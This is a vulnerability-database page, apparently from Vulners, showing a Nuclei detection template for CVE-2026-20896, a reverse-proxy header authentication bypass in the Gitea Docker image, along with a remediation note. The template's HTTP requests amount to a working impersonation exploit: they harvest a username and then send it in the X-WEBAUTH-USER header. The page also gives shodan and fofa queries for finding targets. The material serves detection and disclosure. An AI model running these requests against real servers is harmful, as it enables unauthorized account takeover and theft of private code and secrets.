Lucene search
+L

Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass

🗓️ 21 Aug 2026 02:28:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Gitea Docker image through 1.26.2 trusts X-WEBAUTH-USER from any IP, allowing unauthenticated user impersonation.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploitarium-Detections
28 Jun 202621:36
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-20896
5 Jul 202614:59
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-20896
16 Jul 202613:11
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-20896
15 Aug 202619:01
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-20896
21 Aug 202604:18
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-20896
2 Jul 202600:22
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-20896
7 Jul 202620:31
githubexploit
attackerkb
ATTACKERKB
CVE-2026-20896
3 Jul 202620:19
attackerkb
bdu_fstec
BDU FSTEC
The vulnerability of the Docker image configuration of the Git repository management system Gitea allows a attacker to compromise the confidentiality, integrity, and accessibility of the protected information.
7 Jul 202600:00
bdu_fstec
circl
Circl
CVE-2026-20896
26 Jun 202604:52
circl
Rows per page
id: CVE-2026-20896

info:
  name: Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass
  author: prithvee07
  severity: critical
  description: |
    The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.
  impact: |
    Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.
  remediation: |
    Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4
    - https://blog.gitea.com/release-of-1.26.3-and-1.26.4/
    - https://github.com/go-gitea/gitea/pull/38151
    - https://www.ionix.io/threat-center/cve-2026-20896/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-20896
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-20896
    epss-score: 0.62381
    epss-percentile: 0.99118
    cwe-id: CWE-290
  metadata:
    verified: true
    max-request: 4
    vendor: gitea
    product: gitea
    shodan-query: title:"Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,docker,auth-bypass,unauth,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /api/v1/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(version, "<= 1.26.2")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: version
        json:
          - '.version'
        internal: true

  - raw:
      - |
        GET /api/v1/users/search?limit=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"ok\":true")'
          - 'len(victim) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: victim
        json:
          - '.data[0].login'
        internal: true

  - raw:
      - |
        GET /api/v1/user HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        GET /api/v1/user HTTP/1.1
        Host: {{Hostname}}
        X-WEBAUTH-USER: {{victim}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, concat("\"login\":\"", victim, "\""))'
          - '!contains(body, "token is required")'
        condition: and
# digest: 4a0a00473045022100e5916148c25ee43dab4f89778a97f9483d281424888ad6915b0d68d11839a632022036dacf76eed1d811c4bdabe2c3f5fa77f0613bed566e5a2227fc8da8ce6b54a0:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2026 07:44Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
EPSS0.62381
SSVC
3